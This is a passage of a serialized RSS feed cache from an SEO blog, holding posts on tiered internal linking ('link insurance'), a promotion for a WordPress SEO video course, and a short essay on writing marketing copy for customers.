id=\&quot;more-204\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;If you have ever tagged a site using social bookmarking, then you have scratched the surface. For example social bookmarking utilizes the premise of &lt;strong&gt;link insurance&lt;/strong&gt;. Not only is it great to seal the deal with spiders (by getting their attention), but with enough inbound links strategically augmenting a page, it can provide long-term value for the &lt;strong&gt;link-freshness factor&lt;/strong&gt; which can keep your internal pages buoyant and moving up in the search engine rankings.&lt;/p&gt;\n&lt;p&gt;A stable authority site (built over time with a tremendous amount of link weight) has less chance of losing favor with search engine algorithms. However, what about other transient links, that drop off, get buried over time or the site architecture from the site offering the link is so taxed that by the time the pages are spidered &lt;strong&gt;they are tapped out&lt;/strong&gt; as far as their real value is concerned? What is a viable solution to revive potential rankings?&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;The Solution: Building links to your links as insurance&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;I am not suggesting to abuse this tactic, what I am insinuating is, maintaining a stable influx of link juice into a site benefits all of the pages in that site (as long as you distribute the inbound links in moderation). The premise here is, &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/balancing-link-diversity-link-velocity-and-link-volume/\&quot;&gt;balancing&lt;/a&gt; the ratios of content development to inbound links (and their various anchor and modifiers) along with systemic deep linking is the cornerstone of relevance of &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-basics/seo-basics-using-allinanchor-allintitle-allintext/\&quot;&gt;SEO basics&lt;/a&gt; in action.&lt;/p&gt;\n&lt;p&gt;Links also can have more internal value from a page that was recently promoted in the Google algorithm. For example, if a page went from a page rank of zero to a PR2 or PR3 page in one update, if it gets indexed regularly and is succinctly tied to the sites main navigation, then you have an authority link right under your nose you can use to augment your main keywords as you wish.&lt;/p&gt;\n&lt;p&gt;You can always review such content an amend it for a common goal. Ten links from &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/using-deep-links-to-summon-search-engine-spiders/\&quot;&gt;strong internal pages&lt;/a&gt; to a sub folder or page buried deep in the site can change the landscape of a page or sites SEO value. Combining this with the fact that you can point new links from those pages at older links (to keep them fresh) or use them to kick off new content with a splash, the possibilities for recycling your sites internal link dynamo is promising.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;One Example of the Equation:&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Find a slouching ranking and determine a keyword you want to invigorate&lt;br /&gt;\n&lt;strong&gt;2)&lt;/strong&gt; use a site:yourdomainname.com keyword (command) to find the most relevant page in your site&lt;br /&gt;\n&lt;strong&gt;3)&lt;/strong&gt; Build a new page using the &lt;strong&gt;main keyword in the title and text&lt;/strong&gt;&lt;br /&gt;\n&lt;strong&gt;4)&lt;/strong&gt; Link to the new page from the old page (with page rank) using the (keyword) as the anchor text / link text&lt;br /&gt;\n &lt;strong&gt;5)&lt;/strong&gt; publish your content&lt;br /&gt;\n&lt;strong&gt;6)&lt;/strong&gt; build links back to the old page (using social bookmarking or other ethical link building methods) to flow link weight back to your site and your new page.&lt;/p&gt;\n&lt;p&gt;When the page gets crawled, it already has the ranking factors intact, relevance and an endorsement from your own internal links. This is a great strategy for a maiden voyage for a new page, although this is a rudimentary version of the tactic, you can see the value in building links to your links.&lt;/p&gt;\n&lt;p&gt;Every three months, you could essentially go back through your analytics, look at the most searched keywords, perform an audit and ensure that your older links are getting enough nurturing as a result of fresh links. The stronger they are the stronger your site is.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=SbAgitQy41g:ytdtE7dvXFE:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/SbAgitQy41g\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:444:\&quot;I Just wanted to share a quick SEO strategy for balancing link weight. Have you ever used a tiered link strategy? Although there may be other names for it, personally, I call this link insurance (insurance in the sense that just in case you need it). Since the value of links is all based on &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:107:\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;30\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:102:\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot;;}s:7:\&quot;summary\&quot;;s:444:\&quot;I Just wanted to share a quick SEO strategy for balancing link weight. Have you ever used a tiered link strategy? Although there may be other names for it, personally, I call this link insurance (insurance in the sense that just in case you need it). Since the value of links is all based on &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:5536:\&quot;&lt;p&gt;I Just wanted to share a quick &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; strategy for &lt;strong&gt;balancing link weight&lt;/strong&gt;. Have you ever used a tiered link strategy? Although there may be other names for it, personally, I call this &lt;strong&gt;link insurance&lt;/strong&gt; (insurance in the sense that just in case you need it).&lt;br /&gt;\n&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot;&gt;&lt;img class=\&quot;aligncenter wp-image-9603 size-full\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance.jpg\&quot; alt=\&quot;link-weight-link-insurance\&quot; width=\&quot;400\&quot; height=\&quot;346\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance-300x260.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Since the value of links is all based on the collective support they rally. The stronger the backlink the more value it can pass to your site as far as aiding your pages in maintaining or increasing positioning.&lt;span id=\&quot;more-204\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;If you have ever tagged a site using social bookmarking, then you have scratched the surface. For example social bookmarking utilizes the premise of &lt;strong&gt;link insurance&lt;/strong&gt;. Not only is it great to seal the deal with spiders (by getting their attention), but with enough inbound links strategically augmenting a page, it can provide long-term value for the &lt;strong&gt;link-freshness factor&lt;/strong&gt; which can keep your internal pages buoyant and moving up in the search engine rankings.&lt;/p&gt;\n&lt;p&gt;A stable authority site (built over time with a tremendous amount of link weight) has less chance of losing favor with search engine algorithms. However, what about other transient links, that drop off, get buried over time or the site architecture from the site offering the link is so taxed that by the time the pages are spidered &lt;strong&gt;they are tapped out&lt;/strong&gt; as far as their real value is concerned? What is a viable solution to revive potential rankings?&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;The Solution: Building links to your links as insurance&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;I am not suggesting to abuse this tactic, what I am insinuating is, maintaining a stable influx of link juice into a site benefits all of the pages in that site (as long as you distribute the inbound links in moderation). The premise here is, &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/balancing-link-diversity-link-velocity-and-link-volume/\&quot;&gt;balancing&lt;/a&gt; the ratios of content development to inbound links (and their various anchor and modifiers) along with systemic deep linking is the cornerstone of relevance of &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-basics/seo-basics-using-allinanchor-allintitle-allintext/\&quot;&gt;SEO basics&lt;/a&gt; in action.&lt;/p&gt;\n&lt;p&gt;Links also can have more internal value from a page that was recently promoted in the Google algorithm. For example, if a page went from a page rank of zero to a PR2 or PR3 page in one update, if it gets indexed regularly and is succinctly tied to the sites main navigation, then you have an authority link right under your nose you can use to augment your main keywords as you wish.&lt;/p&gt;\n&lt;p&gt;You can always review such content an amend it for a common goal. Ten links from &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/using-deep-links-to-summon-search-engine-spiders/\&quot;&gt;strong internal pages&lt;/a&gt; to a sub folder or page buried deep in the site can change the landscape of a page or sites SEO value. Combining this with the fact that you can point new links from those pages at older links (to keep them fresh) or use them to kick off new content with a splash, the possibilities for recycling your sites internal link dynamo is promising.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;One Example of the Equation:&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Find a slouching ranking and determine a keyword you want to invigorate&lt;br /&gt;\n&lt;strong&gt;2)&lt;/strong&gt; use a site:yourdomainname.com keyword (command) to find the most relevant page in your site&lt;br /&gt;\n&lt;strong&gt;3)&lt;/strong&gt; Build a new page using the &lt;strong&gt;main keyword in the title and text&lt;/strong&gt;&lt;br /&gt;\n&lt;strong&gt;4)&lt;/strong&gt; Link to the new page from the old page (with page rank) using the (keyword) as the anchor text / link text&lt;br /&gt;\n &lt;strong&gt;5)&lt;/strong&gt; publish your content&lt;br /&gt;\n&lt;strong&gt;6)&lt;/strong&gt; build links back to the old page (using social bookmarking or other ethical link building methods) to flow link weight back to your site and your new page.&lt;/p&gt;\n&lt;p&gt;When the page gets crawled, it already has the ranking factors intact, relevance and an endorsement from your own internal links. This is a great strategy for a maiden voyage for a new page, although this is a rudimentary version of the tactic, you can see the value in building links to your links.&lt;/p&gt;\n&lt;p&gt;Every three months, you could essentially go back through your analytics, look at the most searched keywords, perform an audit and ensure that your older links are getting enough nurturing as a result of fresh links. The stronger they are the stronger your site is.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=SbAgitQy41g:ytdtE7dvXFE:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/SbAgitQy41g\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:6;a:11:{s:5:\&quot;title\&quot;;s:65:\&quot;Your Website Needs Internal Links… Here’s How to Automate It!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/LfAszNY6W9E/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;WordPress SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Thu, 13 Aug 2015 07:32:30 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9565\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:3193:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;&lt;iframe style=\&quot;height: 378px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/ohcncbte4x?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;780\&quot; height=\&quot;376\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:0;margin-bottom:0;\&quot;&gt;&lt;a target=\&quot;_blank\&quot; href=\&quot;https://seodesignframework.leadpages.co/leadbox/140f2faf3f72a2%3A12d9628a0b46dc/5712601648463872/\&quot;&gt;&lt;img src=\&quot;https://lh3.googleusercontent.com/Y6docUak9NStgqgsc_2rDYRGMDTptUvMuJQkJ4q5PjEZrph49fgpg58ab75DTgrtBvY_WmikaTdIimQw3wiJHA=s0\&quot;/&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;script data-leadbox=\&quot;140f2faf3f72a2:12d9628a0b46dc\&quot; data-url=\&quot;https://seodesignframework.leadpages.co/leadbox/140f2faf3f72a2%3A12d9628a0b46dc/5712601648463872/\&quot; data-config=\&quot;%7B%7D\&quot; type=\&quot;text/javascript\&quot; src=\&quot;https://seodesignframework.leadpages.co/leadbox-886.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:5px;\&quot;&gt;\n&lt;p&gt;I know it&amp;#8217;s been quiet on our blog, but, just to let you know&amp;#8230;.we&amp;#8217;ve been busy creating our new &lt;strong&gt;[10 Video] Advanced &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Training Series for SEO Ultimate&lt;/strong&gt; and &lt;a href=\&quot;https://www.seoultimateplus.com/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/\&quot;&gt;SEO Ultimate+&lt;/a&gt; so that people can really see the power of this amazing All-in-One solution for WordPress.&lt;/p&gt;\n&lt;p&gt;I&amp;#8217;ve added a teaser video above where I show you how to use the Deeplink Juggernaut&amp;#8217;s &lt;strong&gt;Instant Post Propulsion&lt;/strong&gt; technique to create auto-links for specific keywords (as well as dampen the volume of linking with the content link settings option).&lt;/p&gt;\n&lt;p&gt;To get access to the entire 10 video series, just use the big blue button above to opt in. In the series we cover everything from:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;How to mass edit titles and meta tags.&lt;/li&gt;\n&lt;li&gt;Indexation and crawl prioritization tips to prevent penalties.&lt;/li&gt;\n&lt;li&gt;An introduction to structured markup.&lt;/li&gt;\n&lt;li&gt;A walk-through of the new OpenGraph+ and Rich Snippets Creator modules&amp;#8230;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;and much much more. But, you have to get access to the series first (which you can do using the &lt;strong&gt;Get More Training Like This&lt;/strong&gt; button above).&lt;/p&gt;\n&lt;p&gt;All the best,&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=LfAszNY6W9E:K62Ns01kLv4:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/LfAszNY6W9E\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:486:\&quot;I know it&amp;#8217;s been quiet on our blog, but, just to let you know&amp;#8230;.we&amp;#8217;ve been busy creating our new [10 Video] Advanced SEO Training Series for SEO Ultimate and SEO Ultimate+ so that people can really see the power of this amazing All-in-One solution for WordPress. I&amp;#8217;ve added a teaser video above where I show &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/the-seo-ultimate-advanced-seo-video-training-series/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:105:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/the-seo-ultimate-advanced-seo-video-training-series/\&quot;;}s:7:\&quot;summary\&quot;;s:486:\&quot;I know it&amp;#8217;s been quiet on our blog, but, just to let you know&amp;#8230;.we&amp;#8217;ve been busy creating our new [10 Video] Advanced SEO Training Series for SEO Ultimate and SEO Ultimate+ so that people can really see the power of this amazing All-in-One solution for WordPress. I&amp;#8217;ve added a teaser video above where I show &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/the-seo-ultimate-advanced-seo-video-training-series/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:3193:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;&lt;iframe style=\&quot;height: 378px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/ohcncbte4x?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;780\&quot; height=\&quot;376\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:0;margin-bottom:0;\&quot;&gt;&lt;a target=\&quot;_blank\&quot; href=\&quot;https://seodesignframework.leadpages.co/leadbox/140f2faf3f72a2%3A12d9628a0b46dc/5712601648463872/\&quot;&gt;&lt;img src=\&quot;https://lh3.googleusercontent.com/Y6docUak9NStgqgsc_2rDYRGMDTptUvMuJQkJ4q5PjEZrph49fgpg58ab75DTgrtBvY_WmikaTdIimQw3wiJHA=s0\&quot;/&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;script data-leadbox=\&quot;140f2faf3f72a2:12d9628a0b46dc\&quot; data-url=\&quot;https://seodesignframework.leadpages.co/leadbox/140f2faf3f72a2%3A12d9628a0b46dc/5712601648463872/\&quot; data-config=\&quot;%7B%7D\&quot; type=\&quot;text/javascript\&quot; src=\&quot;https://seodesignframework.leadpages.co/leadbox-886.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:5px;\&quot;&gt;\n&lt;p&gt;I know it&amp;#8217;s been quiet on our blog, but, just to let you know&amp;#8230;.we&amp;#8217;ve been busy creating our new &lt;strong&gt;[10 Video] Advanced &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Training Series for SEO Ultimate&lt;/strong&gt; and &lt;a href=\&quot;https://www.seoultimateplus.com/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/\&quot;&gt;SEO Ultimate+&lt;/a&gt; so that people can really see the power of this amazing All-in-One solution for WordPress.&lt;/p&gt;\n&lt;p&gt;I&amp;#8217;ve added a teaser video above where I show you how to use the Deeplink Juggernaut&amp;#8217;s &lt;strong&gt;Instant Post Propulsion&lt;/strong&gt; technique to create auto-links for specific keywords (as well as dampen the volume of linking with the content link settings option).&lt;/p&gt;\n&lt;p&gt;To get access to the entire 10 video series, just use the big blue button above to opt in. In the series we cover everything from:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;How to mass edit titles and meta tags.&lt;/li&gt;\n&lt;li&gt;Indexation and crawl prioritization tips to prevent penalties.&lt;/li&gt;\n&lt;li&gt;An introduction to structured markup.&lt;/li&gt;\n&lt;li&gt;A walk-through of the new OpenGraph+ and Rich Snippets Creator modules&amp;#8230;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;and much much more. But, you have to get access to the series first (which you can do using the &lt;strong&gt;Get More Training Like This&lt;/strong&gt; button above).&lt;/p&gt;\n&lt;p&gt;All the best,&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=LfAszNY6W9E:K62Ns01kLv4:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/LfAszNY6W9E\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:7;a:11:{s:5:\&quot;title\&quot;;s:49:\&quot;Why Good Enough Just Isn’t Good Enough Anymore!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/h51XQfdCDXU/\&quot;;s:8:\&quot;category\&quot;;s:8:\&quot;Articles\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 01 Jul 2015 09:36:17 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9510\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2891:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/07/hooking-consumers.jpg\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Consumers Can See Through the Bait\&quot;&gt;&lt;/div&gt;\n&lt;/figure&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot;&gt;\n&lt;p&gt;You Can&amp;#8217;t Be Serious?&lt;br data-mce-bogus=\&quot;1\&quot;/&gt;&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;Let&amp;#8217;s face it, times have changed and what worked yesterday has no guarantee of remaining relevant and working tomorrow.&lt;/p&gt;\n&lt;p&gt;What most of us often overlook is that as the web evolves so does our nervous system and how it maps the priorities of how we communicate. Essentially, we develop blinders to keep us sane from information overload.&lt;/p&gt;\n&lt;p&gt;Just like banner blindness is real, your ads, links, headlines, images and everything else &lt;em&gt;needs to be more human than ever&lt;/em&gt; and have a more &lt;strong&gt;down to earth appeal&lt;/strong&gt; vs. I&amp;#8217;m selling you something (as if you don&amp;#8217;t know it) if you ever want to see genuine conversions (which is why native advertising has displaced traditional ads).&lt;/p&gt;\n&lt;p&gt;Yesterday&amp;#8217;s marketing founded from the Madmen in the 60&amp;#8217;s in today&amp;#8217;s cinema plays like a bad dream we&amp;#8217;ve been stuck in and trying to wake up from. &lt;/p&gt;\n&lt;p&gt;The speaking at you vs. to speaking to you was blatantly overstated by them telling you what to do rather than listening and responding to your needs.&lt;/p&gt;\n&lt;p&gt;So&amp;#8230;making the shift from the old paradigm to the new paradigm of marketing is the basis of true engagement (&lt;em&gt;without offending your audiences intelligence)&lt;/em&gt; as well as one of the safest ways to promote your brand while preserving its integrity.&lt;/p&gt;\n&lt;p&gt;So, I challenge you to &lt;strong&gt;go back through your copy&lt;/strong&gt;, your website and your communications and see whether or not you were writing it for YOU or for your CUSTOMERS?&lt;/p&gt;\n&lt;p&gt;Just realize, it&amp;#8217;s not too late&amp;#8230; it&amp;#8217;s just time to dust off your keyboard and make some worthwhile edits to boost conversions.&lt;/p&gt;\n&lt;p&gt;The million dollar question is, are you writing what you THINK they want to hear, or communicating with clarity that they need to make an informed purchase?&lt;/p&gt;\n&lt;p&gt;Until the next time.&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=h51XQfdCDXU:sgo_RwnERfM:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/h51XQfdCDXU\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:474:\&quot;You Can&amp;#8217;t Be Serious? Let&amp;#8217;s face it, times have changed and what worked yesterday has no guarantee of remaining relevant and working tomorrow. What most of us often overlook is that as the web evolves so does our nervous system and how it maps the priorities of how we communicate. Essentially, we develop blinders to &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/articles/why-good-enough-just-isnt-good-enough-anymore/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:94:\&quot;http://www.seodesignsolutions.com/blog/articles/why-good-enough-just-isnt-good-enough-anymore/\&quot;;}s:7:\&quot;summary\&quot;;s:474:\&quot;You Can&amp;#8217;t Be Serious? Let&amp;#8217;s face it, times have changed and what worked yesterday has no guarantee of remaining relevant and working tomorrow. What most of us often overlook is that as the web evolves so does our nervous system and how it maps the priorities of how we communicate. Essentially, we develop blinders to &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/articles/why-good-enough-just-isnt-good-enough-anymore/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:2891:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/07/hooking-consumers.jpg\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; 